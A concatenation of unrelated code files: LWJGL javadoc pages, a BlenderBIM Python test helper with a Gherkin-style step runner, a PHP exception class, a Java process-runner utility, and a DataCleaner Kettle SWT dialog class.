<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../index-all.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
PREV
NEXT</FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../../index.html?org/lwjgl/opencl//class-useKHRGLDepthImages.html" target="_top"><B>FRAMES</B></A>
<A HREF="KHRGLDepthImages.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!--
if(window==top) {
document.writeln('<A HREF="../../../../allclasses-noframe.html"><B>All Classes</B></A>');
}
//-->
</SCRIPT>
<NOSCRIPT>
<A HREF="../../../../allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_top"></A>
<!-- ========= END OF TOP NAVBAR ========= -->
<HR>
<CENTER>
<H2>
<B>Uses of Class<br>org.lwjgl.opencl.KHRGLDepthImages</B></H2>
</CENTER>
No usage of org.lwjgl.opencl.KHRGLDepthImages
<P>
<HR>
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<A NAME="navbar_bottom"><!-- --></A>
<A HREF="#skip-navbar_bottom" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_bottom_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../org/lwjgl/opencl/KHRGLDepthImages.html" title="class in org.lwjgl.opencl"><FONT CLASS="NavBarFont1"><B>Class</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Use</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../overview-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../index-all.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
PREV
NEXT</FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../../index.html?org/lwjgl/opencl//class-useKHRGLDepthImages.html" target="_top"><B>FRAMES</B></A>
<A HREF="KHRGLDepthImages.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!--
if(window==top) {
document.writeln('<A HREF="../../../../allclasses-noframe.html"><B>All Classes</B></A>');
}
//-->
</SCRIPT>
<NOSCRIPT>
<A HREF="../../../../allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_bottom"></A>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
<HR>
<i>Copyright © 2002-2009 lwjgl.org. All Rights Reserved.</i>
</BODY>
</HTML>
| Java |
# BlenderBIM Add-on - OpenBIM Blender Add-on
# Copyright (C) 2021 Dion Moult <dion@thinkmoult.com>
#
# This file is part of BlenderBIM Add-on.
#
# BlenderBIM Add-on is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# BlenderBIM Add-on is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with BlenderBIM Add-on. If not, see <http://www.gnu.org/licenses/>.
import os
import re
import bpy
import pytest
import webbrowser
import blenderbim
import ifcopenshell
import ifcopenshell.util.representation
from blenderbim.bim.ifc import IfcStore
from mathutils import Vector
# Monkey-patch webbrowser opening since we want to test headlessly
webbrowser.open = lambda x: True
variables = {"cwd": os.getcwd(), "ifc": "IfcStore.get_file()"}
class NewFile:
@pytest.fixture(autouse=True)
def setup(self):
IfcStore.purge()
bpy.ops.wm.read_homefile(app_template="")
if bpy.data.objects:
bpy.data.batch_remove(bpy.data.objects)
bpy.ops.outliner.orphans_purge(do_local_ids=True, do_linked_ids=True, do_recursive=True)
blenderbim.bim.handler.setDefaultProperties(None)
class NewIfc:
@pytest.fixture(autouse=True)
def setup(self):
IfcStore.purge()
bpy.ops.wm.read_homefile(app_template="")
bpy.data.batch_remove(bpy.data.objects)
bpy.ops.outliner.orphans_purge(do_local_ids=True, do_linked_ids=True, do_recursive=True)
blenderbim.bim.handler.setDefaultProperties(None)
bpy.ops.bim.create_project()
def scenario(function):
def subfunction(self):
run(function(self))
return subfunction
def scenario_debug(function):
def subfunction(self):
run_debug(function(self))
return subfunction
def an_empty_ifc_project():
bpy.ops.bim.create_project()
def i_add_a_cube():
bpy.ops.mesh.primitive_cube_add()
def i_add_a_cube_of_size_size_at_location(size, location):
bpy.ops.mesh.primitive_cube_add(size=float(size), location=[float(co) for co in location.split(",")])
def the_object_name_is_selected(name):
i_deselect_all_objects()
additionally_the_object_name_is_selected(name)
def additionally_the_object_name_is_selected(name):
obj = bpy.context.scene.objects.get(name)
if not obj:
assert False, 'The object "{name}" could not be selected'
bpy.context.view_layer.objects.active = obj
obj.select_set(True)
def i_deselect_all_objects():
bpy.context.view_layer.objects.active = None
bpy.ops.object.select_all(action="DESELECT")
def i_am_on_frame_number(number):
bpy.context.scene.frame_set(int(number))
def i_set_prop_to_value(prop, value):
try:
eval(f"bpy.context.{prop}")
except:
assert False, "Property does not exist"
try:
exec(f'bpy.context.{prop} = "{value}"')
except:
exec(f"bpy.context.{prop} = {value}")
def prop_is_value(prop, value):
is_value = False
try:
exec(f'assert bpy.context.{prop} == "{value}"')
is_value = True
except:
try:
exec(f"assert bpy.context.{prop} == {value}")
is_value = True
except:
try:
exec(f"assert list(bpy.context.{prop}) == {value}")
is_value = True
except:
pass
if not is_value:
actual_value = eval(f"bpy.context.{prop}")
assert False, f"Value is {actual_value}"
def i_enable_prop(prop):
exec(f"bpy.context.{prop} = True")
def i_press_operator(operator):
if "(" in operator:
exec(f"bpy.ops.{operator}")
else:
exec(f"bpy.ops.{operator}()")
def i_rename_the_object_name1_to_name2(name1, name2):
the_object_name_exists(name1).name = name2
def the_object_name_exists(name):
obj = bpy.data.objects.get(name)
if not obj:
assert False, f'The object "{name}" does not exist'
return obj
def an_ifc_file_exists():
ifc = IfcStore.get_file()
if not ifc:
assert False, "No IFC file is available"
return ifc
def an_ifc_file_does_not_exist():
ifc = IfcStore.get_file()
if ifc:
assert False, "An IFC is available"
def the_object_name_does_not_exist(name):
assert bpy.data.objects.get(name) is None, "Object exists"
def the_object_name_is_an_ifc_class(name, ifc_class):
ifc = an_ifc_file_exists()
element = ifc.by_id(the_object_name_exists(name).BIMObjectProperties.ifc_definition_id)
assert element.is_a(ifc_class), f'Object "{name}" is an {element.is_a()}'
def the_object_name_is_not_an_ifc_element(name):
id = the_object_name_exists(name).BIMObjectProperties.ifc_definition_id
assert id == 0, f"The ID is {id}"
def the_object_name_is_in_the_collection_collection(name, collection):
assert collection in [c.name for c in the_object_name_exists(name).users_collection]
def the_object_name_is_not_in_the_collection_collection(name, collection):
assert collection not in [c.name for c in the_object_name_exists(name).users_collection]
def the_object_name_has_a_body_of_value(name, value):
assert the_object_name_exists(name).data.body == value
def the_collection_name1_is_in_the_collection_name2(name1, name2):
assert bpy.data.collections.get(name2).children.get(name1)
def the_collection_name1_is_not_in_the_collection_name2(name1, name2):
assert not bpy.data.collections.get(name2).children.get(name1)
def the_object_name_is_placed_in_the_collection_collection(name, collection):
obj = the_object_name_exists(name)
[c.objects.unlink(obj) for c in obj.users_collection]
bpy.data.collections.get(collection).objects.link(obj)
def the_object_name_has_a_type_representation_of_context(name, type, context):
ifc = an_ifc_file_exists()
element = ifc.by_id(the_object_name_exists(name).BIMObjectProperties.ifc_definition_id)
context, subcontext, target_view = context.split("/")
assert ifcopenshell.util.representation.get_representation(
element, context, subcontext or None, target_view or None
)
def the_object_name_is_contained_in_container_name(name, container_name):
ifc = an_ifc_file_exists()
element = ifc.by_id(the_object_name_exists(name).BIMObjectProperties.ifc_definition_id)
container = ifcopenshell.util.element.get_container(element)
if not container:
assert False, f'Object "{name}" is not in any container'
assert container.Name == container_name, f'Object "{name}" is in {container}'
def i_duplicate_the_selected_objects():
bpy.ops.object.duplicate_move()
blenderbim.bim.handler.active_object_callback()
def i_delete_the_selected_objects():
bpy.ops.object.delete()
blenderbim.bim.handler.active_object_callback()
def the_object_name1_and_name2_are_different_elements(name1, name2):
ifc = an_ifc_file_exists()
element1 = ifc.by_id(the_object_name_exists(name1).BIMObjectProperties.ifc_definition_id)
element2 = ifc.by_id(the_object_name_exists(name2).BIMObjectProperties.ifc_definition_id)
assert element1 != element2, f"Objects {name1} and {name2} have same elements {element1} and {element2}"
def the_file_name_should_contain_value(name, value):
with open(name, "r") as f:
assert value in f.read()
def the_object_name1_has_a_boolean_difference_by_name2(name1, name2):
obj = the_object_name_exists(name1)
for modifier in obj.modifiers:
if modifier.type == "BOOLEAN" and modifier.object and modifier.object.name == name2:
return True
assert False, "No boolean found"
def the_object_name1_has_no_boolean_difference_by_name2(name1, name2):
obj = the_object_name_exists(name1)
for modifier in obj.modifiers:
if modifier.type == "BOOLEAN" and modifier.object and modifier.object.name == name2:
assert False, "A boolean was found"
def the_object_name_is_voided_by_void(name, void):
ifc = IfcStore.get_file()
element = ifc.by_id(the_object_name_exists(name).BIMObjectProperties.ifc_definition_id)
for rel in element.HasOpenings:
if rel.RelatedOpeningElement.Name == void:
return True
assert False, "No void found"
def the_object_name_is_not_voided_by_void(name, void):
ifc = IfcStore.get_file()
element = ifc.by_id(the_object_name_exists(name).BIMObjectProperties.ifc_definition_id)
for rel in element.HasOpenings:
if rel.RelatedOpeningElement.Name == void:
assert False, "A void was found"
def the_object_name_is_not_voided(name):
ifc = IfcStore.get_file()
element = ifc.by_id(the_object_name_exists(name).BIMObjectProperties.ifc_definition_id)
if any(element.HasOpenings):
assert False, "An opening was found"
def the_object_name_is_not_a_void(name):
ifc = IfcStore.get_file()
element = ifc.by_id(the_object_name_exists(name).BIMObjectProperties.ifc_definition_id)
if any(element.VoidsElements):
assert False, "A void was found"
def the_void_name_is_filled_by_filling(name, filling):
ifc = IfcStore.get_file()
element = ifc.by_id(the_object_name_exists(name).BIMObjectProperties.ifc_definition_id)
if any(rel.RelatedBuildingElement.Name == filling for rel in element.HasFillings):
return True
assert False, "No filling found"
def the_void_name_is_not_filled_by_filling(name, filling):
ifc = IfcStore.get_file()
element = ifc.by_id(the_object_name_exists(name).BIMObjectProperties.ifc_definition_id)
if any(rel.RelatedBuildingElement.Name == filling for rel in element.HasFillings):
assert False, "A filling was found"
def the_object_name_is_not_a_filling(name):
ifc = IfcStore.get_file()
element = ifc.by_id(the_object_name_exists(name).BIMObjectProperties.ifc_definition_id)
if any(element.FillsVoids):
assert False, "A filling was found"
def the_object_name_should_display_as_mode(name, mode):
assert the_object_name_exists(name).display_type == mode
def the_object_name_has_number_vertices(name, number):
total = len(the_object_name_exists(name).data.vertices)
assert total == int(number), f"We found {total} vertices"
def the_object_name_is_at_location(name, location):
obj_location = the_object_name_exists(name).location
assert (
obj_location - Vector([float(co) for co in location.split(",")])
).length < 0.1, f"Object is at {obj_location}"
def the_variable_key_is_value(key, value):
variables[key] = eval(value)
definitions = {
'the variable "(.*)" is "(.*)"': the_variable_key_is_value,
"an empty IFC project": an_empty_ifc_project,
"I add a cube": i_add_a_cube,
'I add a cube of size "([0-9]+)" at "(.*)"': i_add_a_cube_of_size_size_at_location,
'the object "(.*)" is selected': the_object_name_is_selected,
'additionally the object "(.*)" is selected': additionally_the_object_name_is_selected,
"I deselect all objects": i_deselect_all_objects,
'I am on frame "([0-9]+)"': i_am_on_frame_number,
'I set "(.*)" to "(.*)"': i_set_prop_to_value,
'"(.*)" is "(.*)"': prop_is_value,
'I enable "(.*)"': i_enable_prop,
'I press "(.*)"': i_press_operator,
'I rename the object "(.*)" to "(.*)"': i_rename_the_object_name1_to_name2,
'the object "(.*)" exists': the_object_name_exists,
'the object "(.*)" does not exist': the_object_name_does_not_exist,
'the object "(.*)" is an "(.*)"': the_object_name_is_an_ifc_class,
'the object "(.*)" is not an IFC element': the_object_name_is_not_an_ifc_element,
'the object "(.*)" is in the collection "(.*)"': the_object_name_is_in_the_collection_collection,
'the object "(.*)" is not in the collection "(.*)"': the_object_name_is_not_in_the_collection_collection,
'the object "(.*)" has a body of "(.*)"': the_object_name_has_a_body_of_value,
'the collection "(.*)" is in the collection "(.*)"': the_collection_name1_is_in_the_collection_name2,
'the collection "(.*)" is not in the collection "(.*)"': the_collection_name1_is_not_in_the_collection_name2,
"an IFC file exists": an_ifc_file_exists,
"an IFC file does not exist": an_ifc_file_does_not_exist,
'the object "(.*)" has a "(.*)" representation of "(.*)"': the_object_name_has_a_type_representation_of_context,
'the object "(.*)" is placed in the collection "(.*)"': the_object_name_is_placed_in_the_collection_collection,
'the object "(.*)" is contained in "(.*)"': the_object_name_is_contained_in_container_name,
"I duplicate the selected objects": i_duplicate_the_selected_objects,
"I delete the selected objects": i_delete_the_selected_objects,
'the object "(.*)" and "(.*)" are different elements': the_object_name1_and_name2_are_different_elements,
'the file "(.*)" should contain "(.*)"': the_file_name_should_contain_value,
'the object "(.*)" has a boolean difference by "(.*)"': the_object_name1_has_a_boolean_difference_by_name2,
'the object "(.*)" has no boolean difference by "(.*)"': the_object_name1_has_no_boolean_difference_by_name2,
'the object "(.*)" is voided by "(.*)"': the_object_name_is_voided_by_void,
'the object "(.*)" is not voided by "(.*)"': the_object_name_is_not_voided_by_void,
'the object "(.*)" is not a void': the_object_name_is_not_a_void,
'the object "(.*)" is not voided': the_object_name_is_not_voided,
'the object "(.*)" should display as "(.*)"': the_object_name_should_display_as_mode,
'the object "(.*)" has "([0-9]+)" vertices': the_object_name_has_number_vertices,
'the object "(.*)" is at "(.*)"': the_object_name_is_at_location,
"nothing interesting happens": lambda: None,
'the void "(.*)" is filled by "(.*)"': the_void_name_is_filled_by_filling,
'the void "(.*)" is not filled by "(.*)"': the_void_name_is_not_filled_by_filling,
'the object "(.*)" is not a filling': the_object_name_is_not_a_filling,
}
# Super lightweight Gherkin implementation
def run(scenario):
keywords = ["Given", "When", "Then", "And", "But"]
for line in scenario.split("\n"):
for key, value in variables.items():
line = line.replace("{" + key + "}", str(value))
for keyword in keywords:
line = line.replace(keyword, "")
line = line.strip()
if not line:
continue
match = None
for definition, callback in definitions.items():
match = re.search("^" + definition + "$", line)
if match:
try:
callback(*match.groups())
except AssertionError as e:
assert False, f"Failed: {line}, with error: {e}"
break
if not match:
assert False, f"Definition not implemented: {line}"
return True
def run_debug(scenario, blend_filepath=None):
try:
result = run(scenario)
except Exception as e:
if blend_filepath:
bpy.ops.wm.save_as_mainfile(filepath=blend_filepath)
assert False, e
if blend_filepath:
bpy.ops.wm.save_as_mainfile(filepath=blend_filepath)
return result
| Java |
<?php
namespace page\model;
use n2n\util\ex\err\FancyErrorException;
class PageErrorException extends FancyErrorException {
} | Java |
package org.orchestra.sm;
import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.Map.Entry;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
public class Runner {
private final Logger logger = LoggerFactory.getLogger(Runner.class);
private List<String> command = new ArrayList<String>();
private Map<String, String> env;
private String workDir;
private Process process;
public Map<String, String> getEnv() {
return env;
}
public void setEnv(Map<String, String> env) {
this.env = env;
}
public Runner(String command, List<String> args) {
this.command.add(command);
if(args != null) this.command.addAll(args);
}
public Runner(String command, List<String> args, Map<String, String> env) {
this.command.add(command);
if(args != null) this.command.addAll(args);
this.env = env;
}
public Runner(String command, List<String> args, Map<String, String> env, String workDir) {
this.command.add(command);
if(args != null) this.command.addAll(args);
this.env = env;
this.workDir = workDir;
}
public int run(String arg) throws IOException, InterruptedException {
List<String> cmd = new ArrayList<String>(command);
if(arg != null) cmd.add(arg);
new StringBuffer();
ProcessBuilder pb = new ProcessBuilder(cmd);
if(env != null) pb.environment().putAll(env);
if(workDir != null) pb.directory(new File(workDir));
logger.debug("Environment variables:");
for(Entry<String, String> e : pb.environment().entrySet()) {
logger.debug(e.getKey() + "=" + e.getValue());
}
process = pb.start();
return process.waitFor();
}
public InputStream getInputStream() {
return process.getInputStream();
}
public BufferedReader getSystemOut() {
BufferedReader input =
new BufferedReader(new InputStreamReader(process.getInputStream()));
return input;
}
public BufferedReader getSystemError() {
BufferedReader error =
new BufferedReader(new InputStreamReader(process.getErrorStream()));
return error;
}
public void setStandardInput(String filename) {
}
}
| Java |
package org.datacleaner.kettle.ui;
import java.util.ArrayList;
import java.util.List;
import org.eclipse.swt.SWT;
import org.eclipse.swt.events.DisposeEvent;
import org.eclipse.swt.events.DisposeListener;
import org.eclipse.swt.graphics.Image;
import org.eclipse.swt.graphics.Point;
import org.eclipse.swt.graphics.Rectangle;
import org.eclipse.swt.layout.FormAttachment;
import org.eclipse.swt.layout.FormData;
import org.eclipse.swt.layout.FormLayout;
import org.eclipse.swt.layout.GridLayout;
import org.eclipse.swt.widgets.Button;
import org.eclipse.swt.widgets.Display;
import org.eclipse.swt.widgets.Event;
import org.eclipse.swt.widgets.Group;
import org.eclipse.swt.widgets.Label;
import org.eclipse.swt.widgets.Listener;
import org.eclipse.swt.widgets.MessageBox;
import org.eclipse.swt.widgets.Shell;
import org.eclipse.swt.widgets.Text;
import org.pentaho.di.core.Const;
import org.pentaho.di.core.plugins.JobEntryPluginType;
import org.pentaho.di.core.plugins.PluginRegistry;
import org.pentaho.di.job.JobMeta;
import org.pentaho.di.job.entry.JobEntryDialogInterface;
import org.pentaho.di.job.entry.JobEntryInterface;
import org.pentaho.di.repository.Repository;
import org.pentaho.di.ui.core.gui.GUIResource;
import org.pentaho.di.ui.job.entry.JobEntryDialog;
import org.pentaho.di.ui.trans.step.BaseStepDialog;
import plugin.DataCleanerJobEntry;
public abstract class AbstractJobEntryDialog extends JobEntryDialog implements
JobEntryDialogInterface,
DisposeListener {
private final String initialJobName;
private Text jobNameField;
private Button okButton;
private Button cancelButton;
private List<Object> resources = new ArrayList<Object>();
public AbstractJobEntryDialog(Shell parent, JobEntryInterface jobEntry, Repository rep, JobMeta jobMeta) {
super(parent, jobEntry, rep, jobMeta);
initialJobName = (jobEntry.getName() == null ? DataCleanerJobEntry.NAME : jobEntry.getName());
}
protected void initializeShell(Shell shell) {
String id = PluginRegistry.getInstance().getPluginId(JobEntryPluginType.class, jobMeta);
if (id != null) {
shell.setImage(GUIResource.getInstance().getImagesStepsSmall().get(id));
}
}
/**
* @wbp.parser.entryPoint
*/
@Override
public final JobEntryInterface open() {
final Shell parent = getParent();
final Display display = parent.getDisplay();
// initialize shell
{
shell = new Shell(parent, SWT.DIALOG_TRIM | SWT.RESIZE | SWT.MIN | SWT.MAX);
initializeShell(shell);
FormLayout shellLayout = new FormLayout();
shellLayout.marginTop = 0;
shellLayout.marginLeft = 0;
shellLayout.marginRight = 0;
shellLayout.marginBottom = 0;
shellLayout.marginWidth = 0;
shellLayout.marginHeight = 0;
shell.setLayout(shellLayout);
shell.setText(DataCleanerJobEntry.NAME + ": " + initialJobName);
}
final int middle = Const.MIDDLE_PCT;
final int margin = Const.MARGIN;
// DC banner
final DataCleanerBanner banner = new DataCleanerBanner(shell);
{
final FormData bannerLayoutData = new FormData();
bannerLayoutData.left = new FormAttachment(0, 0);
bannerLayoutData.right = new FormAttachment(100, 0);
bannerLayoutData.top = new FormAttachment(0, 0);
banner.setLayoutData(bannerLayoutData);
}
// Step name
{
final Label stepNameLabel = new Label(shell, SWT.RIGHT);
stepNameLabel.setText("Step name:");
final FormData stepNameLabelLayoutData = new FormData();
stepNameLabelLayoutData.left = new FormAttachment(0, margin);
stepNameLabelLayoutData.right = new FormAttachment(middle, -margin);
stepNameLabelLayoutData.top = new FormAttachment(banner, margin * 2);
stepNameLabel.setLayoutData(stepNameLabelLayoutData);
jobNameField = new Text(shell, SWT.SINGLE | SWT.LEFT | SWT.BORDER);
jobNameField.setText(initialJobName);
final FormData stepNameFieldLayoutData = new FormData();
stepNameFieldLayoutData.left = new FormAttachment(middle, 0);
stepNameFieldLayoutData.right = new FormAttachment(100, -margin);
stepNameFieldLayoutData.top = new FormAttachment(banner, margin * 2);
jobNameField.setLayoutData(stepNameFieldLayoutData);
}
// Properties Group
final Group propertiesGroup = new Group(shell, SWT.SHADOW_ETCHED_IN);
propertiesGroup.setText("Step configuration");
final FormData propertiesGroupLayoutData = new FormData();
propertiesGroupLayoutData.left = new FormAttachment(0, margin);
propertiesGroupLayoutData.right = new FormAttachment(100, -margin);
propertiesGroupLayoutData.top = new FormAttachment(jobNameField, margin);
propertiesGroup.setLayoutData(propertiesGroupLayoutData);
final GridLayout propertiesGroupLayout = new GridLayout(2, false);
propertiesGroup.setLayout(propertiesGroupLayout);
addConfigurationFields(propertiesGroup, margin, middle);
okButton = new Button(shell, SWT.PUSH);
Image saveImage = new Image(shell.getDisplay(), AbstractJobEntryDialog.class.getResourceAsStream("save.png"));
resources.add(saveImage);
okButton.setImage(saveImage);
okButton.setText("OK");
okButton.addListener(SWT.Selection, new Listener() {
@Override
public void handleEvent(Event event) {
ok();
final String jobEntryName = jobNameField.getText();
if (jobEntryName != null && jobEntryName.length() > 0 && !initialJobName.equals(jobEntryName)) {
jobEntryInt.setName(jobEntryName);
}
jobEntryInt.setChanged();
shell.close();
}
});
cancelButton = new Button(shell, SWT.PUSH);
Image cancelImage =
new Image(shell.getDisplay(), AbstractJobEntryDialog.class.getResourceAsStream("cancel.png"));
resources.add(cancelImage);
cancelButton.setImage(cancelImage);
cancelButton.setText("Cancel");
cancelButton.addListener(SWT.Selection, new Listener() {
@Override
public void handleEvent(Event arg0) {
cancel();
jobNameField.setText("");
shell.close();
}
});
BaseStepDialog.positionBottomButtons(shell, new Button[] { okButton, cancelButton }, margin, propertiesGroup);
// HI banner
final DataCleanerFooter footer = new DataCleanerFooter(shell);
{
final FormData footerLayoutData = new FormData();
footerLayoutData.left = new FormAttachment(0, 0);
footerLayoutData.right = new FormAttachment(100, 0);
footerLayoutData.top = new FormAttachment(okButton, margin * 2);
footer.setLayoutData(footerLayoutData);
}
shell.addDisposeListener(this);
shell.setSize(getDialogSize());
// center the dialog in the middle of the screen
final Rectangle screenSize = shell.getDisplay().getPrimaryMonitor().getBounds();
shell.setLocation((screenSize.width - shell.getBounds().width) / 2,
(screenSize.height - shell.getBounds().height) / 2);
shell.pack();
shell.open();
while (!shell.isDisposed()) {
if (!display.readAndDispatch()) {
display.sleep();
}
}
return jobEntryInt;
}
@Override
public void widgetDisposed(DisposeEvent event) {
for (Object resource : resources) {
if (resource instanceof Image) {
((Image) resource).dispose();
}
}
}
protected Point getDialogSize() {
Point clientAreaSize = shell.computeSize(SWT.DEFAULT, SWT.DEFAULT);
int frameX = shell.getSize().x - shell.getClientArea().width;
int frameY = shell.getSize().y - shell.getClientArea().height;
return new Point(frameX + clientAreaSize.x, frameY + clientAreaSize.y);
}
protected abstract void addConfigurationFields(Group propertiesGroup, int margin, int middle);
public void cancel() {
// do nothing
}
public abstract void ok();
protected void showWarning(String message) {
MessageBox messageBox = new MessageBox(new Shell(), SWT.ICON_WARNING | SWT.OK);
messageBox.setText("EasyDataQuality - Warning");
messageBox.setMessage(message);
messageBox.open();
}
protected String getStepDescription() {
return null;
}
}
| Java |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!--NewPage-->
<HTML>
<HEAD>
<!-- Generated by javadoc (build 1.6.0_26) on Sun Dec 22 15:55:34 GMT 2013 -->
<TITLE>
NVDeepTexture3D (LWJGL API)
</TITLE>
<META NAME="date" CONTENT="2013-12-22">
<LINK REL ="stylesheet" TYPE="text/css" HREF="../../../stylesheet.css" TITLE="Style">
<SCRIPT type="text/javascript">
function windowTitle()
{
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="NVDeepTexture3D (LWJGL API)";
}
}
</SCRIPT>
<NOSCRIPT>
</NOSCRIPT>
</HEAD>
<BODY BGCOLOR="white" onload="windowTitle();">
<HR>
<!-- ========= START OF TOP NAVBAR ======= -->
<A NAME="navbar_top"><!-- --></A>
<A HREF="#skip-navbar_top" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_top_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="class-use/NVDeepTexture3D.html"><FONT CLASS="NavBarFont1"><B>Use</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../index-all.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../org/lwjgl/opengl/NVCopyImage.html" title="class in org.lwjgl.opengl"><B>PREV CLASS</B></A>
<A HREF="../../../org/lwjgl/opengl/NVDepthBufferFloat.html" title="class in org.lwjgl.opengl"><B>NEXT CLASS</B></A></FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../index.html?org/lwjgl/opengl/NVDeepTexture3D.html" target="_top"><B>FRAMES</B></A>
<A HREF="NVDeepTexture3D.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!--
if(window==top) {
document.writeln('<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>');
}
//-->
</SCRIPT>
<NOSCRIPT>
<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
<TR>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
SUMMARY: NESTED | <A HREF="#field_summary">FIELD</A> | CONSTR | <A HREF="#methods_inherited_from_class_java.lang.Object">METHOD</A></FONT></TD>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
DETAIL: <A HREF="#field_detail">FIELD</A> | CONSTR | METHOD</FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_top"></A>
<!-- ========= END OF TOP NAVBAR ========= -->
<HR>
<!-- ======== START OF CLASS DATA ======== -->
<H2>
<FONT SIZE="-1">
org.lwjgl.opengl</FONT>
<BR>
Class NVDeepTexture3D</H2>
<PRE>
java.lang.Object
<IMG SRC="../../../resources/inherit.gif" ALT="extended by "><B>org.lwjgl.opengl.NVDeepTexture3D</B>
</PRE>
<HR>
<DL>
